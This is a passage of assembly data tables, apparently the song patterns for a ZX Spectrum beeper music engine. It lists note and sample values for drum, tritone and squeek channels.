#0400,0,#0,core0S,#0000,smp0,#0000,smp0,#08fb,smp7 dw #0200,0,#0,core0S,#0100,smp3,#01ae,smp6,#0984,smp7 dw #0200,0,#0,core0S,#0000,smp0,#01ae,smp6,#0984,smp7 dw #0200,0,#0,core0S,#0100,smp3,#01ae,smp9,#0aae,smp7 dw #0200,0,#0,core0S,#0000,smp0,#01ae,smp9,#0aae,smp7 dw #0400,0,#0,core0S,#0030,smp2,#0000,smp0,#0800,smpa dw #0400,0,#0,core0S,#0000,smp0,#0000,smp0,#08fb,smpa dw #0200,0,#0,core0S,#0100,smp3,#01ae,smp6,#0984,smpa dw #0200,0,#0,core0S,#0000,smp0,#01ae,smp6,#0984,smpa dw #0200,0,#0,core0S,#0100,smp3,#01ae,smp9,#0aae,smpa dw #0200,0,#0,core0S,#0000,smp0,#01ae,smp9,#0aae,smpa db #40 smp.08 dw #0400,0,#2fcb,core0S,#0030,smp8,#0000,smp0,#0800*2,smp7 dw #0400,0,#2fcb,core0S,#0000,smp0,#0000,smp0,#08fb*2,smp7 dw #0200,0,#2fcb,core0S,#0100,smp3,#01ae,smp6,#0984*2,smp7 dw #0200,0,#2fcb,core0S,#0000,smp0,#01ae,smp6,#0984*2,smp7 dw #0200,0,#2fcb,core0S,#0100,smp3,#01ae,smp9,#0aae*2,smp7 dw #0200,0,#2fcb,core0S,#0000,smp0,#01ae,smp9,#0aae*2,smp7 dw #0400,0,#2fcb,core0S,#0030,smp2,#0000,smp0,#0800*2,smpa dw #0400,0,#2fcb,core0S,#0000,smp0,#0000,smp0,#08fb*2,smpa dw #0200,0,#2fcb,core0S,#0100,smp3,#01ae,smp6,#0984*2,smpa dw #0200,0,#2fcb,core0S,#0000,smp0,#01ae,smp6,#0984*2,smpa dw #0200,0,#2fcb,core0S,#0100,smp3,#01ae,smp9,#0aae*2,smpa dw #0200,0,#2fcb,core0S,#0000,smp0,#01ae,smp9,#0aae*2,smpa db #40 smp.09 dw #0400,0,#0,core0hs,#0030,smp8,#0000,smp0,#0800*4,smp7 dw #0400,0,#0,core0hs,#0000,smp0,#0000,smp0,#08fb*4,smp7 dw #0200,0,#0,core0hs,#0100,smp3,#01ae,smp6,#0984*4,smp7 dw #0200,0,#0,core0hs,#0000,smp0,#01ae,smp6,#0984*4,smp7 dw #0200,0,#0,core0hs,#0100,smp3,#01ae,smp9,#0aae*4,smp7 dw #0200,0,#0,core0hs,#0000,smp0,#01ae,smp9,#0aae*4,smp7 dw #0400,0,#0,core0hs,#0030,smp2,#0000,smp0,#0800*4,smpa dw #0400,0,#0,core0hs,#0000,smp0,#0000,smp0,#08fb*4,smpa dw #0200,0,#0,core0hs,#0100,smp3,#01ae,smp6,#0984*4,smpa dw #0200,0,#0,core0hs,#0000,smp0,#01ae,smp6,#0984*4,smpa dw #0200,0,#0,core0hs,#0100,smp3,#01ae,smp9,#0aae*4,smpa dw #0200,0,#0,core0hs,#0000,smp0,#01ae,smp9,#0aae*4,smpa db #40 smp.04 dw #0400,0,#17cb,core0S,#0030,smp8,#0000,smp0,#0800,smp7 dw #0400,0,#17cb,core0S,#0000,smp0,#0000,smp0,#08fb,smp7 dw #0200,0,#17cb,core0S,#0100,smp3,#01ae,smp6,#0984,smp7 dw #0200,0,#17cb,core0S,#0000,smp0,#01ae,smp6,#0984,smp7 dw #0200,0,#17cb,core0S,#0100,smp3,#01ae,smp9,#0aae,smp7 dw #0200,0,#17cb,core0S,#0000,smp0,#01ae,smp9,#0aae,smp7 dw #0400,0,#17cb,core0S,#0030,smp2,#0000,smp0,#0800,smpa dw #0400,0,#17cb,core0S,#0000,smp0,#0000,smp0,#08fb,smpa dw #0200,0,#17cb,core0S,#0100,smp3,#01ae,smp6,#0984,smpa dw #0200,0,#17cb,core0S,#0000,smp0,#01ae,smp6,#0984,smpa dw #0200,0,#17cb,core0S,#0100,smp3,#01ae,smp9,#0aae,smpa dw #0200,0,#17cb,core0S,#0000,smp0,#01ae,smp9,#0aae,smpa db #40 smp.05 dw #0400,0,#17cb,core0S,#0030,smp8,#0000,smp0,#0800*2,smp7 dw #0400,0,#17cb,core0S,#0000,smp0,#0000,smp0,#08fb*2,smp7 dw #0200,0,#17cb,core0S,#0100,smp3,#01ae,smp6,#0984*2,smp7 dw #0200,0,#17cb,core0S,#0000,smp0,#01ae,smp6,#0984*2,smp7 dw #0200,0,#17cb,core0S,#0100,smp3,#01ae,smp9,#0aae*2,smp7 dw #0200,0,#17cb,core0S,#0000,smp0,#01ae,smp9,#0aae*2,smp7 dw #0400,0,#17cb,core0S,#0030,smp2,#0000,smp0,#0800*2,smpa dw #0400,0,#17cb,core0S,#0000,smp0,#0000,smp0,#08fb*2,smpa dw #0200,0,#17cb,core0S,#0100,smp3,#01ae,smp6,#0984*2,smpa dw #0200,0,#17cb,core0S,#0000,smp0,#01ae,smp6,#0984*2,smpa dw #0200,0,#17cb,core0S,#0100,smp3,#01ae,smp9,#0aae*2,smpa dw #0200,0,#17cb,core0S,#0000,smp0,#01ae,smp9,#0aae*2,smpa db #40 smp.06 dw #0400,0,#17cb,core0S,#0030,smp8,#0000,smp0,#0800*4,smp7 dw #0400,0,#17cb,core0S,#0000,smp0,#0000,smp0,#08fb*4,smp7 dw #0200,0,#17cb,core0S,#0100,smp3,#01ae,smp6,#0984*4,smp7 dw #0200,0,#17cb,core0S,#0000,smp0,#01ae,smp6,#0984*4,smp7 dw #0200,0,#17cb,core0S,#0100,smp3,#01ae,smp9,#0aae*4,smp7 dw #0200,0,#17cb,core0S,#0000,smp0,#01ae,smp9,#0aae*4,smp7 dw #0400,0,#17cb,core0S,#0030,smp2,#0000,smp0,#0800*4,smpa dw #0400,0,#17cb,core0S,#0000,smp0,#0000,smp0,#08fb*4,smpa dw #0200,0,#17cb,core0S,#0100,smp3,#01ae,smp6,#0984*4,smpa dw #0200,0,#17cb,core0S,#0000,smp0,#01ae,smp6,#0984*4,smpa dw #0200,0,#17cb,core0S,#0100,smp3,#01ae,smp9,#0aae*4,smpa dw #0200,0,#17cb,core0S,#0000,smp0,#01ae,smp9,#0aae*4,smpa db #40 smp.02 dw #0400,0,#17cb,core0S,#0030,smp8,#0000,smp0,#0800*2,smp7 dw #0400,0,#17cb,core0S,#0000,smp0,#0000,smp0,#08fb*2,smp7 dw #0200,0,#17cb,core0S,#0100,smp3,#0200,smp6,#0984*2,smp7 dw #0200,0,#17cb,core0S,#0000,smp0,#0200,smp6,#0984*2,smp7 dw #0200,0,#17cb,core0S,#0100,smp3,#0200,smp9,#0aae*2,smp7 dw #0200,0,#17cb,core0S,#0000,smp0,#0200,smp9,#0aae*2,smp7 dw #0400,0,#17cb,core0S,#0030,smp2,#0000,smp0,#0800*2,smpa dw #0400,0,#17cb,core0S,#0000,smp0,#0000,smp0,#08fb*2,smpa dw #0200,0,#17cb,core0S,#0100,smp3,#0200,smp6,#0984*2,smpa dw #0200,0,#17cb,core0S,#0000,smp0,#0200,smp6,#0984*2,smpa dw #0200,0,#17cb,core0S,#0100,smp3,#0200,smp9,#0aae*2,smpa dw #0200,0,#17cb,core0S,#0000,smp0,#0200,smp9,#0aae*2,smpa db #40 smp.03 dw #0400,0,#17cb,core0S,#0030,smp8,#0000,smp0,#0800*4,smp7 dw #0400,0,#17cb,core0S,#0000,smp0,#0000,smp0,#08fb*4,smp7 dw #0200,0,#17cb,core0S,#0100,smp3,#0200,smp6,#0984*4,smp7 dw #0200,0,#17cb,core0S,#0000,smp0,#0200,smp6,#0984*4,smp7 dw #0200,0,#17cb,core0S,#0100,smp3,#0200,smp9,#0aae*4,smp7 dw #0200,0,#17cb,core0S,#0000,smp0,#0200,smp9,#0aae*4,smp7 dw #0400,0,#17cb,core0S,#0030,smp2,#0000,smp0,#0800*4,smpa dw #0400,0,#17cb,core0S,#0000,smp0,#0000,smp0,#08fb*4,smpa dw #0200,0,#17cb,core0S,#0100,smp3,#0200,smp6,#0984*4,smpa dw #0200,0,#17cb,core0S,#0000,smp0,#0200,smp6,#0984*4,smpa dw #0200,0,#17cb,core0S,#0100,smp3,#0200,smp9,#0aae*4,smpa dw #0200,0,#17cb,core0S,#0000,smp0,#0200,smp9,#0aae*4,smpa db #40 smp.01 dw #0400,0,#17cb,core0S,#0030,smp8,#0000,smp0,#0800,smp7 dw #0400,0,#17cb,core0S,#0000,smp0,#0000,smp0,#08fb,smp7 dw #0200,0,#17cb,core0S,#0100,smp3,#0200,smp6,#0984,smp7 dw #0200,0,#17cb,core0S,#0000,smp0,#0200,smp6,#0984,smp7 dw #0200,0,#17cb,core0S,#0100,smp3,#0200,smp9,#0aae,smp7 dw #0200,0,#17cb,core0S,#0000,smp0,#0200,smp9,#0aae,smp7 dw #0400,0,#17cb,core0S,#0030,smp2,#0000,smp0,#0800,smpa dw #0400,0,#17cb,core0S,#0000,smp0,#0000,smp0,#08fb,smpa dw #0200,0,#17cb,core0S,#0100,smp3,#0200,smp6,#0984,smpa dw #0200,0,#17cb,core0S,#0000,smp0,#0200,smp6,#0984,smpa dw #0200,0,#17cb,core0S,#0100,smp3,#0200,smp9,#0aae,smpa dw #0200,0,#17cb,core0S,#0000,smp0,#0200,smp9,#0aae,smpa db #40 smp.00 dw #0800,0,#17cb,core0S,#0060,smp2,#0000,smp0,#0000,smp0 dw #0400,0,#17cb,core0S,#0060,smp3,#1000,smp1,#0000,smp0 dw #0400,0,#17cb,core0S,#0060,smp3,#0000,smp0,#0000,smp0 dw #0400,0,#17cb,core0S,#0060,smp4,#1307,smp1,#0000,smp0 dw #0400,0,#17cb,core0S,#0060,smp4,#0000,smp0,#0000,smp0 dw #0400,0,#17cb,core0S,#0060,smp5,#1000,smp1,#0000,smp0 dw #0400,0,#17cb,core0S,#0060,smp5,#0000,smp0,#0000,smp0 dw #0400,0,#17cb,core0S,#0000,smp0,#1307,smp1,#0000,smp0 dw #0400,0,#17cb,core0S,#0000,smp0,#0000,smp0,#0000,smp0 dw #0400,0,#17cb,core0S,#0000,smp0,#1000,smp1,#0000,smp0 dw #0400,0,#17cb,core0S,#0000,smp0,#1307,smp1,#0000,smp0 dw #1000,0,#17cb,core0S,#0000,smp0,#0000,smp0,#0000,smp0 dw #0800,0,#17cb,core0S,#0060,smp2,#0000,smp0,#0000,smp0 dw #0400,0,#17cb,core0S,#0060,smp3,#1000,smp1,#0000,smp0 dw #0400,0,#17cb,core0S,#0060,smp3,#0000,smp0,#0000,smp0 dw #0400,0,#17cb,core0S,#0060,smp4,#1307,smp1,#0000,smp0 dw #0400,0,#17cb,core0S,#0060,smp4,#0000,smp0,#0000,smp0 dw #0400,0,#17cb,core0S,#0060,smp5,#1000,smp1,#0000,smp0 dw #0400,0,#17cb,core0S,#0060,smp5,#0000,smp0,#0000,smp0 dw #0400,0,#17cb,core0S,#0000,smp0,#1307,smp1,#0000,smp0 dw #0400,0,#17cb,core0S,#0000,smp0,#0000,smp0,#0000,smp0 dw #0400,0,#17cb,core0S,#0000,smp0,#1000,smp1,#0000,smp0 dw #0400,0,#17cb,core0S,#0000,smp0,#0000,smp0,#0000,smp0 dw #0400,0,#17cb,core0S,#0000,smp0,#1307,smp1,#0000,smp0 dw #0400,0,#17cb,core0S,#0000,smp0,#155c,smp1,#0000,smp0 dw #0800,0,#17cb,core0S,#0000,smp0,#0000,smp0,#0000,smp0 dw #0800,0,0,core0S,#0060,smp2,#0000,smp0,#0000,smp0 dw #0400,0,0,core0S,#0060,smp3,#0f1a,smp1,#0000,smp0 dw #0400,0,0,core0S,#0060,smp3,#0000,smp0,#0000,smp0 dw #0400,0,0,core0S,#0060,smp4,#11f6,smp1,#0000,smp0 dw #0400,0,0,core0S,#0060,smp4,#0000,smp0,#0000,smp0 dw #0400,0,0,core0S,#0060,smp5,#0f1a,smp1,#0000,smp0 dw #0400,0,0,core0S,#0060,smp5,#0000,smp0,#0000,smp0 dw #0400,0,0,core0S,#0000,smp0,#11f6,smp1,#0000,smp0 dw #0400,0,0,core0S,#0000,smp0,#0000,smp0,#0000,smp0 dw #0400,0,0,core0S,#0000,smp0,#0f1a,smp1,#0000,smp0 dw #0400,0,0,core0S,#0000,smp0,#11f6,smp1,#0000,smp0 dw #1000,0,0,core0S,#0000,smp0,#0000,smp0,#0000,smp0 dw #0800,0,0,core0S,#0060,smp2,#0000,smp0,#0000,smp0 dw #0400,0,0,core0S,#0060,smp3,#0f1a,smp1,#0000,smp0 dw #0400,0,0,core0S,#0060,smp3,#0000,smp0,#0000,smp0 dw #0400,0,0,core0S,#0060,smp4,#11f6,smp1,#0000,smp0 dw #0400,0,0,core0S,#0060,smp4,#0000,smp0,#0000,smp0 dw #0400,0,0,core0S,#0060,smp5,#0f1a,smp1,#0000,smp0 dw #0400,0,0,core0S,#0060,smp5,#0000,smp0,#0000,smp0 dw #0800,0,0,core0S,#0000,smp0,#0000,smp0,#0000,smp0 dw #0400,0,#2fcb,core0S,#0000,smp0,#0f1a,smp1,#0000,smp0 dw #0400,0,#2fcb,core0S,#0000,smp0,#0000,smp0,#0000,smp0 dw #0400,0,#2fcb,core0S,#0000,smp0,#17F9,smp1,#0000,smp0 dw #0400,0,#2fcb,core0S,#0000,smp0,#0000,smp0,#0000,smp0 dw #0400,0,#2fcb,core0S,#0000,smp0,#155c,smp1,#0000,smp0 dw #0400,0,#2fcb,core0S,#0000,smp0,#0000,smp0,#0000,smp0 db #40 tr.02 dw #0804,#0080,#8080,#6004,tritone0,#35d1,#0080,#0400 dw #0800,#7840,#6004,tritone0,#35d1,#0100,#0400 dw #0801,#0040,#7020,#6007,tritone0,#0800,#0200,#0400 dw #0801,#0040,#6810,#6004,tritone0,#35d1,#0100,#0400 dw #0880,#0080,#6020,#6007,tritone0,#0984,#0080,#0400 dw #0800,#5804,#6004,tritone0,#35d1,#0100,#0400 dw #0801,#0040,#5020,#6007,tritone0,#0800,#0200,#0400 dw #0801,#0040,#4801,#6004,tritone0,#35d1,#0100,#0400 dw #0804,#0080,#4020,#6007,tritone0,#0984,#0080,#0400 dw #0800,#3804,#6007,tritone0,#0000,#0100,#0400 dw #0801,#0040,#3020,#6007,tritone0,#0800,#0200,#0400 dw #0801,#0040,#2820,#6007,tritone0,#0984,#0100,#0400 dw #0880,#0080,#2080,#6007,tritone0,#0000,#0080,#0400 dw #0800,#1880,#6007,tritone0,#0000,#0100,#0400 dw #0801,#0040,#1002,#6007,tritone0,#0000,#0200,#0400 dw #0801,#0040,#0801,#6007,tritone0,#0000,#0100,#0400 dw #0804,#0080,#0408,#6007,tritone0,#0000,#0098,#04c2 dw #0800,#0804,#6007,tritone0,#0000,#0130,#04c2 dw #0801,#0040,#1020,#6007,tritone0,#0800,#0261,#04c2 dw #0801,#0040,#1801,#6007,tritone0,#0000,#0120,#04c2 dw #0880,#0080,#2020,#6007,tritone0,#0984,#0098,#04c2 dw #0800,#2804,#6007,tritone0,#0000,#0130,#04c2 dw #0801,#0040,#3020,#6007,tritone0,#0800,#0261,#04c2 dw #0801,#0040,#3801,#6007,tritone0,#0000,#0120,#04c2 dw #0804,#0080,#4020,#6007,tritone0,#0984,#0080,#0400 dw #0800,#4804,#6007,tritone0,#0000,#0100,#0400 dw #0801,#0040,#5020,#6007,tritone0,#0800,#0200,#0400 dw #0801,#0040,#5820,#6007,tritone0,#0000,#0100,#0400 dw #0880,#0080,#6020,#6007,tritone0,#0984,#0080,#0400 dw #0800,#6820,#6007,tritone0,#0aae,#0100,#0400 dw #0801,#0040,#7002,#6007,tritone0,#0000,#0200,#0400 dw #0801,#0040,#7801,#6007,tritone0,#0000,#0100,#0400 dw #0804,#0080,#8008,#6007,tritone0,#0000,#0078,#03c7 dw #0800,#7804,#6007,tritone0,#0000,#00f1,#03c7 dw #0801,#0040,#7020,#6007,tritone0,#078D,#01E3,#03c7 dw #0801,#0040,#6801,#6007,tritone0,#0000,#00f1,#03c7 dw #0880,#0080,#6020,#6007,tritone0,#08FB,#0078,#03c7 dw #0800,#5804,#6007,tritone0,#0000,#00f1,#03c7 dw #0801,#0040,#5020,#6007,tritone0,#078D,#01E3,#03c7 dw #0801,#0040,#4801,#6007,tritone0,#0000,#00f1,#03c7 dw #0804,#0080,#4020,#6007,tritone0,#08FB,#0078,#03c7 dw #0800,#3804,#6007,tritone0,#0000,#00f1,#03c7 dw #0801,#0040,#3020,#6007,tritone0,#078D,#01E3,#03c7 dw #0801,#0040,#2820,#6007,tritone0,#08FB,#00f1,#03c7 dw #0880,#0080,#2008,#6007,tritone0,#0000,#0078,#03c7 dw #0800,#1804,#6007,tritone0,#0000,#00f1,#03c7 dw #0801,#0040,#1002,#6007,tritone0,#0000,#01E3,#03c7 dw #0801,#0040,#0801,#6007,tritone0,#0000,#00f1,#03c7 dw #0804,#0080,#0408,#6007,tritone0,#0000,#00bf,#05fe dw #0800,#0804,#6007,tritone0,#0000,#017f,#05fe dw #0801,#0040,#1020,#6007,tritone0,#078D,#02ff,#05fe dw #0801,#0040,#1801,#6007,tritone0,#0000,#017f,#05fe dw #0880,#0080,#2020,#6007,tritone0,#08FB,#00bf,#05fe dw #0800,#2804,#6007,tritone0,#0000,#017f,#05fe dw #0801,#0040,#3020,#6007,tritone0,#078D,#02ff,#05fe dw #0801,#0040,#3801,#6007,tritone0,#0000,#017f,#05fe dw #0804,#0080,#4020,#6007,tritone0,#0000,#00aa,#0557 dw #0800,#4804,#6007,tritone0,#0000,#0155,#0557 dw #0801,#0040,#5020,#6007,tritone0,#078D,#02AB,#0557 dw #0801,#0040,#5801,#6007,tritone0,#0000,#0155,#0557 dw #0880,#0080,#6020,#6007,tritone0,#0bfd,#00aa,#0557 dw #0880,#0080,#6804,#6007,tritone0,#0000,#0155,#0557 dw #0880,#0080,#7020,#6007,tritone0,#0aae,#02AB,#0557 dw #0880,#0080,#7801,#6007,tritone0,#0000,#0155,#0557 db #40 tr.01 dw #0804,#0080,#8080,#6004,tritone0,#35d1,#0080,#0400 dw #0800,#7840,#6004,tritone0,#35d1,#0100,#0400 dw #0801,#0040,#7020,#6004,tritone0,#35d1,#0200,#0400 dw #0801,#0040,#6810,#6004,tritone0,#35d1,#0100,#0400 dw #0880,#0080,#6008,#6004,tritone0,#35d1,#0080,#0400 dw #0800,#5804,#6004,tritone0,#35d1,#0100,#0400 dw #0801,#0040,#5002,#6004,tritone0,#35d1,#0200,#0400 dw #0801,#0040,#4801,#6004,tritone0,#35d1,#0100,#0400 dw #0804,#0080,#4008,#6007,tritone0,#0000,#0080,#0400 dw #0800,#3804,#6007,tritone0,#0000,#0100,#0400 dw #0801,#0040,#3002,#6007,tritone0,#0000,#0200,#0400 dw #0801,#0040,#2801,#6007,tritone0,#0000,#0100,#0400 dw #0880,#0080,#2008,#6007,tritone0,#0000,#0080,#0400 dw #0800,#1804,#6007,tritone0,#0000,#0100,#0400 dw #0801,#0040,#1002,#6007,tritone0,#0000,#0200,#0400 dw #0801,#0040,#0801,#6007,tritone0,#0000,#0100,#0400 dw #0804,#0080,#0408,#6007,tritone0,#0000,#0098,#04c2 dw #0800,#0804,#6007,tritone0,#0000,#0130,#04c2 dw #0801,#0040,#1002,#6007,tritone0,#0000,#0261,#04c2 dw #0801,#0040,#1801,#6007,tritone0,#0000,#0120,#04c2 dw #0880,#0080,#2008,#6007,tritone0,#0000,#0098,#04c2 dw #0800,#2804,#6007,tritone0,#0000,#0130,#04c2 dw #0801,#0040,#3002,#6007,tritone0,#0000,#0261,#04c2 dw #0801,#0040,#3801,#6007,tritone0,#0000,#0120,#04c2 dw #0804,#0080,#4008,#6007,tritone0,#0000,#0080,#0400 dw #0800,#4804,#6007,tritone0,#0000,#0100,#0400 dw #0801,#0040,#5002,#6007,tritone0,#0000,#0200,#0400 dw #0801,#0040,#5801,#6007,tritone0,#0000,#0100,#0400 dw #0880,#0080,#6008,#6007,tritone0,#0000,#0080,#0400 dw #0800,#6804,#6007,tritone0,#0000,#0100,#0400 dw #0801,#0040,#7002,#6007,tritone0,#0000,#0200,#0400 dw #0801,#0040,#7801,#6007,tritone0,#0000,#0100,#0400 dw #0804,#0080,#8008,#6007,tritone0,#0000,#0078,#03c7 dw #0800,#7804,#6007,tritone0,#0000,#00f1,#03c7 dw #0801,#0040,#7002,#6007,tritone0,#0000,#01E3,#03c7 dw #0801,#0040,#6801,#6007,tritone0,#0000,#00f1,#03c7 dw #0880,#0080,#6008,#6007,tritone0,#0000,#0078,#03c7 dw #0800,#5804,#6007,tritone0,#0000,#00f1,#03c7 dw #0801,#0040,#5002,#6007,tritone0,#0000,#01E3,#03c7 dw #0801,#0040,#4801,#6007,tritone0,#0000,#00f1,#03c7 dw #0804,#0080,#4008,#6007,tritone0,#0000,#0078,#03c7 dw #0800,#3804,#6007,tritone0,#0000,#00f1,#03c7 dw #0801,#0040,#3002,#6007,tritone0,#0000,#01E3,#03c7 dw #0801,#0040,#2801,#6007,tritone0,#0000,#00f1,#03c7 dw #0880,#0080,#2008,#6007,tritone0,#0000,#0078,#03c7 dw #0800,#1804,#6007,tritone0,#0000,#00f1,#03c7 dw #0801,#0040,#1002,#6007,tritone0,#0000,#01E3,#03c7 dw #0801,#0040,#0801,#6007,tritone0,#0000,#00f1,#03c7 dw #0804,#0080,#0408,#6007,tritone0,#0000,#00bf,#05fe dw #0800,#0804,#6007,tritone0,#0000,#017f,#05fe dw #0801,#0040,#1002,#6007,tritone0,#0000,#02ff,#05fe dw #0801,#0040,#1801,#6007,tritone0,#0000,#017f,#05fe dw #0880,#0080,#2008,#6007,tritone0,#0000,#00bf,#05fe dw #0800,#2804,#6007,tritone0,#0000,#017f,#05fe dw #0801,#0040,#3002,#6007,tritone0,#0000,#02ff,#05fe dw #0801,#0040,#3801,#6007,tritone0,#0000,#017f,#05fe dw #0804,#0080,#4008,#6007,tritone0,#0000,#00aa,#0557 dw #0800,#4804,#6007,tritone0,#0000,#0155,#0557 dw #0801,#0040,#5002,#6007,tritone0,#0000,#02AB,#0557 dw #0801,#0040,#5801,#6007,tritone0,#0000,#0155,#0557 dw #0880,#0080,#6008,#6007,tritone0,#0000,#00aa,#0557 dw #0880,#0080,#6804,#6007,tritone0,#0000,#0155,#0557 dw #0880,#0080,#7002,#6007,tritone0,#0000,#02AB,#0557 dw #0880,#0080,#7801,#6007,tritone0,#0000,#0155,#0557 db #40 tr.00 dw #0800,#2080,#2004,tritone0,#35d1,#0080,#0000 dw #0800,#2040,#2004,tritone0,#35d1,#0100,#0000 dw #0800,#2020,#2004,tritone0,#35d1,#0200,#0000 dw #0800,#2010,#2004,tritone0,#35d1,#0100,#0000 dw #0800,#2008,#2004,tritone0,#35d1,#0080,#0000 dw #0800,#2004,#2004,tritone0,#35d1,#0100,#0000 dw #0800,#2002,#2004,tritone0,#35d1,#0200,#0000 dw #0800,#2001,#2004,tritone0,#35d1,#0100,#0000 dw #0800,#2008,#2007,tritone0,#0000,#0080,#0000 dw #0800,#2004,#2007,tritone0,#0000,#0100,#0000 dw #0800,#2002,#2007,tritone0,#0000,#0200,#0000 dw #0800,#2001,#2007,tritone0,#0000,#0100,#0000 dw #0800,#2008,#2007,tritone0,#0000,#0080,#0000 dw #0800,#2004,#2007,tritone0,#0000,#0100,#0000 dw #0800,#2002,#2007,tritone0,#0000,#0200,#0000 dw #0800,#2001,#2007,tritone0,#0000,#0100,#0000 dw #0800,#2008,#2007,tritone0,#0000,#0098,#0000 dw #0800,#2004,#2007,tritone0,#0000,#0130,#0000 dw #0800,#2002,#2007,tritone0,#0000,#0261,#0000 dw #0800,#2001,#2007,tritone0,#0000,#0120,#0000 dw #0800,#2008,#2007,tritone0,#0000,#0098,#0000 dw #0800,#2004,#2007,tritone0,#0000,#0130,#0000 dw #0800,#2002,#2007,tritone0,#0000,#0261,#0000 dw #0800,#2001,#2007,tritone0,#0000,#0120,#0000 dw #0800,#2008,#2007,tritone0,#0000,#0080,#0000 dw #0800,#2004,#2007,tritone0,#0000,#0100,#0000 dw #0800,#2002,#2007,tritone0,#0000,#0200,#0000 dw #0800,#2001,#2007,tritone0,#0000,#0100,#0000 dw #0800,#2008,#2007,tritone0,#0000,#0080,#0000 dw #0800,#2004,#2007,tritone0,#0000,#0100,#0000 dw #0800,#2002,#2007,tritone0,#0000,#0200,#0000 dw #0800,#2001,#2007,tritone0,#0000,#0100,#0000 dw #0800,#2008,#2007,tritone0,#0000,#0078,#0000 dw #0800,#2004,#2007,tritone0,#0000,#00f1,#0000 dw #0800,#2002,#2007,tritone0,#0000,#01E3,#0000 dw #0800,#2001,#2007,tritone0,#0000,#00f1,#0000 dw #0800,#2008,#2007,tritone0,#0000,#0078,#0000 dw #0800,#2004,#2007,tritone0,#0000,#00f1,#0000 dw #0800,#2002,#2007,tritone0,#0000,#01E3,#0000 dw #0800,#2001,#2007,tritone0,#0000,#00f1,#0000 dw #0800,#2008,#2007,tritone0,#0000,#0078,#0000 dw #0800,#2004,#2007,tritone0,#0000,#00f1,#0000 dw #0800,#2002,#2007,tritone0,#0000,#01E3,#0000 dw #0800,#2001,#2007,tritone0,#0000,#00f1,#0000 dw #0800,#2008,#2007,tritone0,#0000,#0078,#0000 dw #0800,#2004,#2007,tritone0,#0000,#00f1,#0000 dw #0800,#2002,#2007,tritone0,#0000,#01E3,#0000 dw #0800,#2001,#2007,tritone0,#0000,#00f1,#0000 dw #0800,#2008,#2007,tritone0,#0000,#00bf,#0000 dw #0800,#2004,#2007,tritone0,#0000,#017f,#0000 dw #0800,#2002,#2007,tritone0,#0000,#02ff,#0000 dw #0800,#2001,#2007,tritone0,#0000,#017f,#0000 dw #0800,#2008,#2007,tritone0,#0000,#00bf,#0000 dw #0800,#2004,#2007,tritone0,#0000,#017f,#0000 dw #0800,#2002,#2007,tritone0,#0000,#02ff,#0000 dw #0800,#2001,#2007,tritone0,#0000,#017f,#0000 dw #0800,#2008,#2007,tritone0,#0000,#00aa,#0000 dw #0800,#2004,#2007,tritone0,#0000,#0155,#0000 dw #0800,#2002,#2007,tritone0,#0000,#02AB,#0000 dw #0800,#2001,#2007,tritone0,#0000,#0155,#0000 dw #0800,#2008,#2007,tritone0,#0000,#00aa,#0000 dw #0800,#2004,#2007,tritone0,#0000,#0155,#0000 dw #0800,#2002,#2007,tritone0,#0000,#02AB,#0000 dw #0800,#2001,#2007,tritone0,#0000,#0155,#0000 db #40 sq.01 dw #0800,#2008,#0810,squeekpin0,#1000,#0100,#04C2,#05FE dw #0800,#2008,#0810,squeekpin0,#1000,#0200,#04C2,#05FE dw #0800,#2008,#0810,squeekpin0,#1000,#0400,#04C2,#05FE dw #0800,#2008,#0810,squeekpin0,#1000,#0200,#04C2,#05FE dw #0800,#2007,#0710,squeekpin0,#1000,#0100,#04C2,#05FE dw #0800,#2007,#0710,squeekpin0,#1000,#0200,#04C2,#05FE dw #0800,#2007,#0710,squeekpin0,#1000,#0400,#04C2,#05FE dw #0800,#2007,#0710,squeekpin0,#1000,#0200,#04C2,#05FE dw #0800,#2006,#0610,squeekpin0,#1000,#0100,#04C2,#05FE dw #0800,#2006,#0610,squeekpin0,#1000,#0200,#04C2,#05FE dw #0800,#2006,#0610,squeekpin0,#1000,#0400,#04C2,#05FE dw #0800,#2006,#0610,squeekpin0,#1000,#0200,#04C2,#05FE dw #0800,#2005,#0510,squeekpin0,#1000,#0100,#04C2,#05FE dw #0800,#2005,#0510,squeekpin0,#1000,#0200,#04C2,#05FE dw #0800,#2005,#0510,squeekpin0,#1000,#0400,#04C2,#05FE dw #0800,#2005,#0510,squeekpin0,#1000,#0200,#04C2,#05FE dw #0800,#2004,#0410,squeekpin0,#1000,#011F,#04C2,#05FE dw #0800,#2004,#0410,squeekpin0,#1000,#023F,#04C2,#05FE dw #0800,#2004,#0410,squeekpin0,#1000,#047D,#04C2,#05FE dw #0800,#2004,#0410,squeekpin0,#1000,#023F,#04C2,#05FE dw #0800,#2003,#0310,squeekpin0,#1000,#011F,#04C2,#05FE dw #0800,#2003,#0310,squeekpin0,#1000,#023F,#04C2,#05FE dw #0800,#2003,#0310,squeekpin0,#1000,#047D,#04C2,#05FE dw #0800,#2003,#0310,squeekpin0,#1000,#023F,#04C2,#05FE dw #0800,#2002,#0210,squeekpin0,#1000,#0130,#04C2,#05FE dw #0800,#2002,#0210,squeekpin0,#1000,#0261,#04C2,#05FE dw #0800,#2002,#0210,squeekpin0,#1000,#04C2,#04C2,#05FE dw #0800,#2002,#0210,squeekpin0,#1000,#0261,#04C2,#05FE dw #0800,#2001,#0110,squeekpin0,#1000,#0130,#04C2,#05FE dw #0800,#2001,#0110,squeekpin0,#1000,#0261,#04C2,#05FE dw #0800,#2001,#0110,squeekpin0,#1000,#04C2,#04C2,#05FE dw #0800,#2001,#0110,squeekpin0,#1000,#0261,#04C2,#05FE db #40 sq.02 dw #0800,#2008,#080f,squeekpin0,#0800,#0100,#04C2,#05FE dw #0800,#2008,#080f,squeekpin0,#0800,#0200,#04C2,#05FE dw #0800,#2008,#080f,squeekpin0,#0800,#0400,#04C2,#05FE dw #0800,#2008,#080f,squeekpin0,#0800,#0200,#04C2,#05FE dw #0800,#2007,#070e,squeekpin0,#0800,#0100,#04C2,#05FE dw #0800,#2007,#070e,squeekpin0,#0800,#0200,#04C2,#05FE dw #0800,#2007,#070e,squeekpin0,#0800,#0400,#04C2,#05FE dw #0800,#2007,#070e,squeekpin0,#0800,#0200,#04C2,#05FE dw #0800,#2006,#060d,squeekpin0,#0800,#0100,#04C2,#05FE dw #0800,#2006,#060d,squeekpin0,#0800,#0200,#04C2,#05FE dw #0800,#2006,#060d,squeekpin0,#0800,#0400,#04C2,#05FE dw #0800,#2006,#060d,squeekpin0,#0800,#0200,#04C2,#05FE dw #0800,#2005,#050c,squeekpin0,#0800,#0100,#04C2,#05FE dw 